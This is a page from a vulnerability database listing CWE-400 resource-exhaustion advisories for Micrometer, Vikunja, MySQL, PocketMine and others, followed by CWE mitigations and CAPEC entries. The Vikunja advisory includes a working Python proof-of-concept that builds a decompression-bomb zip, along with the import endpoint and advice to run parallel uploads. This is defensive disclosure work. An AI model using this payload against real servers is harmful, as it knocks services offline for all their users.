      "url": "https://lists.apache.org/thread.html/rd18c3c43602e66f9cdcf09f1de233804975b9572b0456cc582390b6f@%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rd18c3c43602e66f9cdcf09f1de233804975b9572b0456cc582390b6f%40%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rc998b18880df98bafaade071346690c2bc1444adaa1a1ea464b93f0a@%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2019:2893"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/CMNFX5MNYRWWIMO4BTKYQCGUDMHO3AXP"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/XHTKU7YQ5EEP2XNSAV4M4VJ7QCBOJMOD"
    },
    {
      "type": "WEB",
      "url": "https://seclists.org/bugtraq/2019/Aug/47"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/201909-04"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20190823-0003"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20190823-0005"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20190905-0003"
    },
    {
      "type": "WEB",
      "url": "https://support.f5.com/csp/article/K02591030"
    },
    {
      "type": "WEB",
      "url": "https://support.f5.com/csp/article/K02591030?utm_source=f5support\u0026amp%3Butm_medium=RSS"
    },
    {
      "type": "WEB",
      "url": "https://support.f5.com/csp/article/K02591030?utm_source=f5support\u0026amp;utm_medium=RSS"
    },
    {
      "type": "WEB",
      "url": "https://usn.ubuntu.com/4113-1"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2019/dsa-4509"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuapr2020.html"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/technetwork/security-advisory/cpuoct2019-5072832.html"
    },
    {
      "type": "WEB",
      "url": "https://www.synology.com/security/advisory/Synology_SA_19_33"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2019:2925"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2019:2939"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2019:2946"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2019:2949"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2019:2950"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2019:2955"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2019:3932"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2019:3933"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2019:3935"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Netflix/security-bulletins/blob/master/advisories/third-party/2019-002.md"
    },
    {
      "type": "WEB",
      "url": "https://kb.cert.org/vuls/id/605641"
    },
    {
      "type": "WEB",
      "url": "https://kc.mcafee.com/corporate/index?page=content\u0026id=SB10296"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/4610762456644181b267c846423b3a990bd4aaea1886ecc7d51febdb%40%3Cannounce.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/4610762456644181b267c846423b3a990bd4aaea1886ecc7d51febdb@%3Cannounce.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/56c2e7cc9deb1c12a843d0dc251ea7fd3e7e80293cde02fcd65286ba%40%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/56c2e7cc9deb1c12a843d0dc251ea7fd3e7e80293cde02fcd65286ba@%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/d89f999e26dfb1d50f247ead1fe8538014eb412b2dbe5be4b1a9ef50%40%3Cdev.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/d89f999e26dfb1d50f247ead1fe8538014eb412b2dbe5be4b1a9ef50@%3Cdev.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/ec97fdfc1a859266e56fef084353a34e0a0b08901b3c1aa317a43c8c%40%3Cdev.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/ec97fdfc1a859266e56fef084353a34e0a0b08901b3c1aa317a43c8c@%3Cdev.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r03ee478b3dda3e381fd6189366fa7af97c980d2f602846eef935277d%40%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r03ee478b3dda3e381fd6189366fa7af97c980d2f602846eef935277d@%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r06f0d87ebb6d59ed8379633f36f72f5b1f79cadfda72ede0830b42cf%40%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r06f0d87ebb6d59ed8379633f36f72f5b1f79cadfda72ede0830b42cf@%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r3c5c3104813c1c5508b55564b66546933079250a46ce50eee90b2e36%40%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r3c5c3104813c1c5508b55564b66546933079250a46ce50eee90b2e36@%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r76142b8c5119df2178be7c2dba88fde552eedeec37ea993dfce68d1d%40%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r76142b8c5119df2178be7c2dba88fde552eedeec37ea993dfce68d1d@%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r9f93cf6dde308d42a9c807784e8102600d0397f5f834890708bf6920%40%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r9f93cf6dde308d42a9c807784e8102600d0397f5f834890708bf6920@%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rc998b18880df98bafaade071346690c2bc1444adaa1a1ea464b93f0a%40%3Ccvs.httpd.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2019-09/msg00004.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2019-09/msg00031.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2019-09/msg00032.html"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2019/08/15/7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-W737-WX49-QJ23

Vulnerability from github – Published: 2026-06-09 06:31 – Updated: 2026-09-11 15:32
VLAI
Summary
Micrometer gRPC server instrumentation DoS
Details

In Micrometer, it is possible for a user to provide specially crafted gRPC requests that may cause a denial-of-service (DoS) condition.

Affected versions: Micrometer 1.16.0 through 1.16.5; 1.15.0 through 1.15.11.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.16.5"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.micrometer:micrometer-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.16.0"
            },
            {
              "fixed": "1.16.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.15.11"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.micrometer:micrometer-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.15.0"
            },
            {
              "fixed": "1.15.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-40983"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-06T19:05:56Z",
    "nvd_published_at": "2026-06-09T05:16:34Z",
    "severity": "HIGH"
  },
  "details": "In Micrometer, it is possible for a user to provide specially crafted gRPC requests that may cause a denial-of-service (DoS) condition.\n\nAffected versions:\nMicrometer 1.16.0 through 1.16.5; 1.15.0 through 1.15.11.",
  "id": "GHSA-w737-wx49-qj23",
  "modified": "2026-09-11T15:32:17Z",
  "published": "2026-06-09T06:31:56Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40983"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:36839"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:41951"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:50848"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:50849"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:54435"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:62260"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:66488"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2026-40983"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2486697"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/micrometer-metrics/micrometer"
    },
    {
      "type": "WEB",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-40983.json"
    },
    {
      "type": "WEB",
      "url": "https://spring.io/security/cve-2026-40983"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Micrometer gRPC server instrumentation DoS"
}

GHSA-W768-WQPR-555X

Vulnerability from github – Published: 2022-09-14 00:00 – Updated: 2022-09-15 00:00
VLAI
Details

The CMS800 device fails while attempting to parse malformed network data sent by a threat actor. A threat actor with network access can remotely issue a specially formatted UDP request that will cause the entire device to crash and require a physical reboot. A UDP broadcast request could be sent that causes a mass denial-of-service attack on all CME8000 devices connected to the same network.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-38100"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-09-13T15:15:00Z",
    "severity": "HIGH"
  },
  "details": "The CMS800 device fails while attempting to parse malformed network data sent by a threat actor. A threat actor with network access can remotely issue a specially formatted UDP request that will cause the entire device to crash and require a physical reboot. A UDP broadcast request could be sent that causes a mass denial-of-service attack on all CME8000 devices connected to the same network.",
  "id": "GHSA-w768-wqpr-555x",
  "modified": "2022-09-15T00:00:15Z",
  "published": "2022-09-14T00:00:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-38100"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/uscert/ics/advisories/icsma-22-244-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-W78F-H7MV-34JV

Vulnerability from github – Published: 2024-07-09 18:30 – Updated: 2024-07-09 18:30
VLAI
Details

Windows iSCSI Service Denial of Service Vulnerability

Severity
5.3 (Medium)
CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-35270"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-07-09T17:15:18Z",
    "severity": "MODERATE"
  },
  "details": "Windows iSCSI Service Denial of Service Vulnerability",
  "id": "GHSA-w78f-h7mv-34jv",
  "modified": "2024-07-09T18:30:50Z",
  "published": "2024-07-09T18:30:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-35270"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-35270"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-W7JP-MF2V-8342

Vulnerability from github – Published: 2026-10-09 20:52 – Updated: 2026-10-09 20:52
VLAI
Summary
Vikunja: Denial of service via decompression bomb in the data import
Details

Summary

Vikunja lets you export your data as a zip and import it back. The import doesn't limit how large the archive expands to, how many files it contains, or how much storage one user can consume, and it appears to hold the whole archive in memory while processing it. Because the archive is compressed, a ~20 MB upload made of highly compressible content expands to tens of gigabytes once imported. A single crafted upload is enough to exhaust the server's memory or fill its disk and knock the whole instance offline. It can be repeated or run in parallel, since nothing stops a user from starting several imports at once.

Details

The import accepts an archive in the same layout the built-in export produces: a manifest describing projects and tasks, plus the attachment files those tasks reference. Each individual file inside the archive is size-checked, but there's no ceiling on the total uncompressed size or on the number of files, and there's no per-user storage quota anywhere. On top of that, the server seems to buffer every attachment in memory before writing it out, so the peak memory cost is the sum of all decompressed files at once, not one at a time.

Compression is the key factor: a file full of a repeating byte (e.g. zeroes) shrinks by roughly a thousand to one. So an archive that fits under the upload size limit (around 20 MB) can describe on the order of a thousand ~20 MB attachments, which the server then expands to tens of gigabytes in RAM and writes to disk. When memory runs out the process is killed; when the disk fills, the instance (and anything else on that host) stops working. Nothing serialises imports, so a user can also fire several in parallel to reach the limit faster.

The fix is to cap the total uncompressed size and the file count per archive, stream each file to disk instead of buffering them all in memory, enforce a per-user storage quota, and refuse a new import while one is already running for that user.

PoC

The attacker needs an ordinary account that can use the import feature.

  1. Build a zip in the export format containing one project with for example ~200 tasks, each referencing an attachment, and ~200 attachment files, each 18 MB of zero bytes. Filled with zeroes, the whole thing compresses to roughly 4 MB (under the upload limit).
#!/usr/bin/env python3
import argparse, json, os, zipfile

CHUNK = b"\0" * (1024 * 1024)

def build(out, n, size, version):
    tasks = [{"title": f"t{i}", "attachments": [{"file": {"id": i, "name": "a"}}]}
             for i in range(1, n + 1)]
    data = json.dumps([{"title": "bomb", "tasks": tasks, "child_projects": []}]).encode()

    with zipfile.ZipFile(out, "w", zipfile.ZIP_DEFLATED, compresslevel=9) as z:
        z.writestr("VERSION", version)
        z.writestr("data.json", data)
        for i in range(1, n + 1):
            with z.open(f"files/{i}", "w") as f:
                for _ in range(size):
                    f.write(CHUNK)

    raw = n * size * 1024**2
    print(f"[+] {out}: {os.path.getsize(out)/1024**2:.2f} MiB "
          f"({raw/1024**3:.1f} GiB uncompressed)")

p = argparse.ArgumentParser()
p.add_argument("-o", "--out", default="bomb.zip")
p.add_argument("-n", "--files", type=int, default=200)
p.add_argument("-s", "--size-mib", type=int, default=18)
p.add_argument("--version", default="v2.5.0")
a = p.parse_args()
build(a.out, a.files, a.size_mib, a.version)
  1. Upload it to the import endpoint:
PUT /api/v1/migration/vikunja-file/migrate
(multipart file upload: the crafted zip)
  1. Watch the server. Memory climbs into 3.5 GB within seconds and the disk fills with the expanded files. On a typical host the process is OOM-killed or the disk fills, and the instance stops responding for everyone. Repeat, or send several uploads at once, to reach the limit reliably.

(You can derive the exact archive layout in step 1 by first exporting your own data once and inspecting the zip it hands back.)

Impact

Denial of service (availability). One authenticated user, with a single upload, can drive the server into tens of GB of memory and disk usage, killing the process or filling the disk. This takes the whole instance down for every user, and if the disk is shared with other services on the host, those go down too. No admin rights and no victim interaction are required, any account that can import data is enough. Recovery needs an operator to reclaim memory/disk and clear the partially written import.

Severity
7.1 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.5.0"
      },
      "package": {
        "ecosystem": "Go",
        "name": "code.vikunja.io/api"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.6.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-91979"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-409",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-09T20:52:52Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nVikunja lets you export your data as a zip and import it back. The import doesn\u0027t limit how large the archive expands to, how many files it contains, or how much storage one user can consume, and it appears to hold the whole archive in memory while processing it. Because the archive is compressed, a ~20 MB upload made of highly compressible content expands to tens of gigabytes once imported. A single crafted upload is enough to exhaust the server\u0027s memory or fill its disk and knock the whole instance offline. It can be repeated or run in parallel, since nothing stops a user from starting several imports at once.\n\n### Details\nThe import accepts an archive in the same layout the built-in export produces: a manifest describing projects and tasks, plus the attachment files those tasks reference. Each individual file inside the archive is size-checked, but there\u0027s no ceiling on the total uncompressed size or on the number of files, and there\u0027s no per-user storage quota anywhere. On top of that, the server seems to buffer every attachment in memory before writing it out, so the peak memory cost is the sum of all decompressed files at once, not one at a time.\n\nCompression is the key factor: a file full of a repeating byte (e.g. zeroes) shrinks by roughly a thousand to one. So an archive that fits under the upload size limit (around 20 MB)\n can describe on the order of a thousand ~20 MB attachments, which the server then expands to tens of gigabytes in RAM and writes to disk. When memory runs out the process is killed; when the disk fills, the instance (and anything else on that host) stops working. Nothing serialises imports, so a user can also fire several in parallel to reach the limit faster.\n\nThe fix is to cap the total uncompressed size and the file count per archive, stream each file to disk instead of buffering them all in memory, enforce a per-user storage quota, and refuse a new import while one is already running for that user.\n\n### PoC\nThe attacker needs an ordinary account that can use the import feature.\n\n1. Build a zip in the export format containing one project with for example ~200 tasks, each referencing an attachment, and ~200 attachment files, each 18 MB of zero bytes. Filled with zeroes, the whole thing compresses to roughly 4 MB (under the upload limit).\n```python\n#!/usr/bin/env python3\nimport argparse, json, os, zipfile\n\nCHUNK = b\"\\0\" * (1024 * 1024)\n\ndef build(out, n, size, version):\n    tasks = [{\"title\": f\"t{i}\", \"attachments\": [{\"file\": {\"id\": i, \"name\": \"a\"}}]}\n             for i in range(1, n + 1)]\n    data = json.dumps([{\"title\": \"bomb\", \"tasks\": tasks, \"child_projects\": []}]).encode()\n\n    with zipfile.ZipFile(out, \"w\", zipfile.ZIP_DEFLATED, compresslevel=9) as z:\n        z.writestr(\"VERSION\", version)\n        z.writestr(\"data.json\", data)\n        for i in range(1, n + 1):\n            with z.open(f\"files/{i}\", \"w\") as f:\n                for _ in range(size):\n                    f.write(CHUNK)\n\n    raw = n * size * 1024**2\n    print(f\"[+] {out}: {os.path.getsize(out)/1024**2:.2f} MiB \"\n          f\"({raw/1024**3:.1f} GiB uncompressed)\")\n\np = argparse.ArgumentParser()\np.add_argument(\"-o\", \"--out\", default=\"bomb.zip\")\np.add_argument(\"-n\", \"--files\", type=int, default=200)\np.add_argument(\"-s\", \"--size-mib\", type=int, default=18)\np.add_argument(\"--version\", default=\"v2.5.0\")\na = p.parse_args()\nbuild(a.out, a.files, a.size_mib, a.version)\n```\n3. Upload it to the import endpoint:\n```\nPUT /api/v1/migration/vikunja-file/migrate\n(multipart file upload: the crafted zip)\n```\n4. Watch the server. Memory climbs into 3.5 GB within seconds and the disk fills with the expanded files. On a typical host the process is OOM-killed or the disk fills, and the instance stops responding for everyone.\nRepeat, or send several uploads at once, to reach the limit reliably.\n\n(You can derive the exact archive layout in step 1 by first exporting your own data once and inspecting the zip it hands back.)\n\n### Impact\nDenial of service (availability). One authenticated user, with a single upload, can drive the server into tens of GB of memory and disk usage, killing the process or filling the disk. This takes the whole instance down for every user, and if the disk is shared with other services on the host, those go down too. No admin rights and no victim interaction are required, any account that can import data is enough. Recovery needs an operator to reclaim memory/disk and clear the partially written import.",
  "id": "GHSA-w7jp-mf2v-8342",
  "modified": "2026-10-09T20:52:52Z",
  "published": "2026-10-09T20:52:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-w7jp-mf2v-8342"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-91979"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/pull/3688"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-vikunja/vikunja"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/releases/tag/v2.6.0"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/vikunja-before-2.6.0-denial-of-service-via-decompression-bomb"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Vikunja: Denial of service via decompression bomb in the data import"
}

GHSA-W7JR-2C2W-7VXJ

Vulnerability from github – Published: 2024-04-17 00:30 – Updated: 2025-11-04 18:30
VLAI
Details

Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Optimizer). Supported versions that are affected are 8.0.35 and prior. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).

Severity
4.9 (Medium)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-21057"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-04-16T22:15:23Z",
    "severity": "MODERATE"
  },
  "details": "Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: Optimizer).  Supported versions that are affected are 8.0.35 and prior. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).",
  "id": "GHSA-w7jr-2c2w-7vxj",
  "modified": "2025-11-04T18:30:47Z",
  "published": "2024-04-17T00:30:55Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-21057"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20240426-0011"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuapr2024.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-W7P4-2GXC-QG89

Vulnerability from github – Published: 2026-09-06 12:30 – Updated: 2026-09-06 12:30
VLAI
Details

PocketMine-MP versions before 3.15.4 contain a denial of service vulnerability in the InventoryTransaction component's findResultItem() method. Malicious clients can send specially crafted InventoryTransactionPackets with multiple conflicting pathways to cause exponential processing complexity, freezing the server.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
7.1 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2020-37277"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-06T12:17:13Z",
    "severity": "HIGH"
  },
  "details": "PocketMine-MP versions before 3.15.4 contain a denial of service vulnerability in the InventoryTransaction component\u0027s findResultItem() method. Malicious clients can send specially crafted InventoryTransactionPackets with multiple conflicting pathways to cause exponential processing complexity, freezing the server.",
  "id": "GHSA-w7p4-2gxc-qg89",
  "modified": "2026-09-06T12:30:23Z",
  "published": "2026-09-06T12:30:23Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pmmp/PocketMine-MP/security/advisories/GHSA-8jq6-w5cg-wm45"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-37277"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pmmp/PocketMine-MP/commit/c368ebb5e74632bc622534b37cd1447b97281e20"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/pocketmine-mp-before-3.15.4-denial-of-service-via-inventorytransaction"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}
Mitigation
Architecture and Design

Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.

Mitigation
Architecture and Design
  • Mitigation of resource exhaustion attacks requires that the target system either:
  • The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
  • The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
  • recognizes the attack and denies that user further access for a given amount of time, or
  • uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Architecture and Design

Ensure that protocols have specific limits of scale placed on them.

Mitigation
Implementation

Ensure that all failures in resource allocation place the system into a safe posture.

CAPEC-147: XML Ping of the Death

An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.

CAPEC-227: Sustained Client Engagement

An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.

CAPEC-492: Regular Expression Exponential Blowup

An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.

← Back to the CWE list